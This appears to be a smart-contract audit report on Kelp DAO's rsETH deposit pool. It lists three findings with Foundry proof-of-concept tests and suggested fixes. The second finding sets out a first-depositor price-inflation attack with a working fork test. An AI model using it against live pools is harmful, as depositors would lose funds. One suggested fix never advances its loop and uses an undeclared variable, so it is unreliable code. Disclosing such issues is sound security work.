Kelp DAO | rsETH - rouhsamad's results

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L95-L110 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L95-L110

Vulnerability details

Impact

The function getRsETHAmountToMint(asset, amount) in the LRTDepositPool contract inaccurately calculates the amount of rsETH to be minted. This is because the function uses the current price of rsETH for its calculation, instead of considering the price after the amount of asset is transferred to the contract. Because of this incorrect calculation, getRsETHAmountToMint returns significantly (depends on deposit amount and total assets in the pool) less tokens than what users will actually receive. Although this is a view function and does not directly affect funds, the miscalculation can lead to significant losses for users or platforms relying on this function to estimate the rsETH return for a given asset deposit. The deviation between the expected and actual amount of rsETH received could be substantial, leading to mistrust and financial discrepancies.

Proof of Concept

The issue is explained and tested below, which was conducted on ethereum mainnet(fork)

    function test_GetRSAmountDifferentThanDepositTime() external {
        uint256 amountToDeposit = 1 ether;
        vm.startPrank(manager);
        lrtConfig.updateAssetDepositLimit(address(stETH), amountToDeposit * 2);
        vm.stopPrank();

        vm.startPrank(alice);

        //initial deposit in order to increase the total supply of rsETH and get an initial price
        stETH.approve(address(lrtDepositPool), ~uint256(0));
        lrtDepositPool.depositAsset(address(stETH), amountToDeposit);

        //get the expectec rsETH to get after depositing another 1 ether of stETH
        uint expectedRsETHToReceive = lrtDepositPool.getRsETHAmountToMint(
            address(stETH),
            amountToDeposit
        );

        //initial rsETH balance of alice
        uint rs_balance0 = rseth.balanceOf(alice);
        //deposit another 1 ether, we expect to get expectedRsETHToReceive amount of rsETH
        lrtDepositPool.depositAsset(address(stETH), amountToDeposit);
        //secondary rsETH balance of alice
        uint rs_balance1 = rseth.balanceOf(alice);

        //get the received rsETH
        uint actuallRsETHReceived = rs_balance1 - rs_balance0;

        //alice received less tokens (half) than expected, because deposited tokens affected the price, unlike getRsETHAmountToMint
        assertLt(actuallRsETHReceived, expectedRsETHToReceive);
        vm.stopPrank();
    }

Tools Used

Forge

Recommended Mitigation Steps

changing getRsETHAmountToMint to below implementation solved this issue

    function getRsETHAmountToMint(
        address asset,
        uint256 amount,
        bool reading
    ) public view override returns (uint256 rsethAmountToMint) {
        // setup oracle contract
        address lrtOracleAddress = lrtConfig.getContract(
            LRTConstants.LRT_ORACLE
        );
        ILRTOracle lrtOracle = ILRTOracle(lrtOracleAddress);

        // calculate rseth amount to mint based on asset amount and asset exchange rate
        if (reading) {
            uint price = IERC20(lrtConfig.rsETH()).totalSupply() == 0
                ? 1 ether //if supply is zero, 1 ether is price
                : lrtOracle.getRSETHPrice() + //else, take into account the new amount
                    ((amount * lrtOracle.getAssetPrice(asset)) /
                        IERC20(lrtConfig.rsETH()).totalSupply());
            rsethAmountToMint =
                (amount * lrtOracle.getAssetPrice(asset)) /
                price;
        } else {
            rsethAmountToMint =
                (amount * lrtOracle.getAssetPrice(asset)) /
                lrtOracle.getRSETHPrice();
        }
    }

_mintRsETH should also be changed:

function _mintRsETH(
    address _asset,
    uint256 _amount
) private returns (uint256 rsethAmountToMint) {
    //we have to put false here, because _amount already affected the price
    (rsethAmountToMint) = getRsETHAmountToMint(_asset, _amount, false);
    address rsethToken = lrtConfig.rsETH();
    // mint rseth for user
    IRSETH(rsethToken).mint(msg.sender, rsethAmountToMint);
}

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L119-L144 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTOracle.sol#L56-L58 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L109

Vulnerability details

Impact

When the total supply of rsETH is zero, the LRTOracle::getRSETHPrice function returns 1 ether as the price of rsETH. An attacker can exploit this by depositing an asset with value of exactly 1 ether (e.g. 1 2 wei of stETH) using the LRTDepositPool::depositAsset function, and minting a mere 1 wei of rsETH. Then, by transferring 1 ether of that asset to the contract, the price could be inflated to such an extent that it prevents other users from minting any rsETH tokens, regardless of the amount of asset they deposit into the contract . It's important to note that the attacker might not even need to transfer 1 ether of the asset to the pool to cause this inflation. In fact, if a regular user deposits tokens into the pool, the price will already be excessively inflated. This issue also leads to a loss of funds because despite depositing tokens into the pool, no rsETH will be minted for the depositor.

Proof of Concept

1- Attacker deposits 2 wei of stETH, priced at 998918684011422300 (in wei, at time of the report) 2- depositAsset fetches the price of stETH to calculate how much rsETH should be minted to alice 3- since total supply of rsETH is zero, 1 ether is returned as the price of rsETH 4- getRsETHAmountToMint function will divide total value of deposited stETH by 1 ether: stETH value = 2 × 998918684011422300 = 1.997837368×10¹⁸ rsETH price = 10¹⁸ total mint = value / price = 1.997837368 => rounds down => 1 5- now total supply of rsETH is 1 wei 6- Attacker transfers 1 ether of stETH to the LRTDepositPool 7- getRSETHPrice will return (10¹⁸ * 998918684011422300) / 1 as price of rsETH note : conducting this can also be done by front-running the first depositor.

Below tests are done using a forked version of ethereum mainnet:

function test_InflateRSETHPrice() external {
        //depositing 2 wei of stETH
        uint256 amountToDeposit = 2;

        //deposit the tokens here
        vm.startPrank(alice);
        //approve the LRT pool
        stETH.approve(address(lrtDepositPool), ~uint256(0));

        //Deposit 2 wei of stETH
        lrtDepositPool.depositAsset(address(stETH), amountToDeposit);

        //rsETH supply is now equal to 1
        assertEq(rseth.totalSupply(), 1);

        //now transfer 1 ether into contract in order to inflate the price
        stETH.transfer(address(lrtDepositPool), 1 ether);

        //price of stETH: stETH amount * price of stETH / supply => ((1e18 + 1) * 998918684011422300) / (1)
        //998918684011422300000000000000000000 wei or 998918684011422300 ether at time of my tests (eth mainnet)
        assertEq(
            lrt_oracle.getRSETHPrice(),
            lrt_oracle.getAssetPrice(address(stETH)) * 1 ether
        );
        vm.stopPrank();

        vm.startPrank(bob);
        stETH.approve(address(lrtDepositPool), ~uint256(0));
        //price is iflated before minting rseth to bob, the price is now inflated to:
        // (1001e18 + 1) * stETHPrice / total minted (1)
        lrtDepositPool.depositAsset(address(stETH), 1000 ether);
        //bob did not receive any tokens, since price is inflated
        assertEq(rseth.balanceOf(bob), 0);
        vm.stopPrank();
    }

Tools Used

Forge

Recommended Mitigation Steps

The most straightforward solution is to set a minimum threshold for the amount of assets a user can initially deposit. This price inflation attack is feasible because the total value of the deposited asset divided by 1 ether (initial price) could result in very little numbers like 1 wei.

Assessed type

Oracle

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L82-L88 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L162-L176

Vulnerability details

Impact

The current implementation of the LRTDepositPool contract does not include a function to remove a NodeDelegator from the nodeDelegatorQueue. This absence presents a risk if an externally owned account (EOA) or an incompatible contract is mistakenly added to the queue. Such an error would disrupt key functions that rely on getAssetDistributionData, as this function attempts to call getAssetBalance on each NodeDelegator in the queue. Affected functions: LRTDepositPool: getTotalAssetDeposits, getRsETHAmountToMint, depositAsset LRTOracle: getRSETHPrice

Proof of Concept

The issue arises due to the iteration over nodeDelegatorQueue in getAssetDistributionData and the absence of validation in addNodeDelegatorContractToQueue. https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L82-L88 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L162-L176

Tools Used

Forge

Recommended Mitigation Steps

• add a check in addNodeDelegatorContractToQueue and make sure that each element is linked to the lrtConfig

    function addNodeDelegatorContractToQueue(
        address[] calldata nodeDelegatorContracts
    ) external onlyLRTAdmin {
        uint256 length = nodeDelegatorContracts.length;
        if (nodeDelegatorQueue.length + length > maxNodeDelegatorCount) {
            revert MaximumNodeDelegatorCountReached();
        }

        for (uint256 i; i < length; ) {
            UtilLib.checkNonZeroAddress(nodeDelegatorContracts[i]);
            //check if nodeDelegator is linked to lrtConfig or not
            require(
                INodeDelegator(nodeDelegatorContracts[i]).lrtConfig() == lrtConfig
            );
            nodeDelegatorQueue.push(nodeDelegatorContracts[i]);
            emit NodeDelegatorAddedinQueue(nodeDelegatorContracts[i]);
            unchecked {
                ++i;
            }
        }
    }

• add a function that allows safely removing a NodeDelegator from nodeDelegatorQueue:

function removeNodeDelegator(address _nodeDelegator) external onlyLRTAdmin {
        for (uint256 i; i < ndcsCount; ) {
            if(_nodeDelegator == nodeDelegatorQueue[i]) {
               nodeDelegatorQueue[i] = nodeDelegatorQueue[ndcsCount - 1];
               nodeDelegatorQueue.pop();
               emit NodeDelegatorRemovedFromQueue(_nodeDelegator);
               break;
            }
        }
}

Assessed type

DoS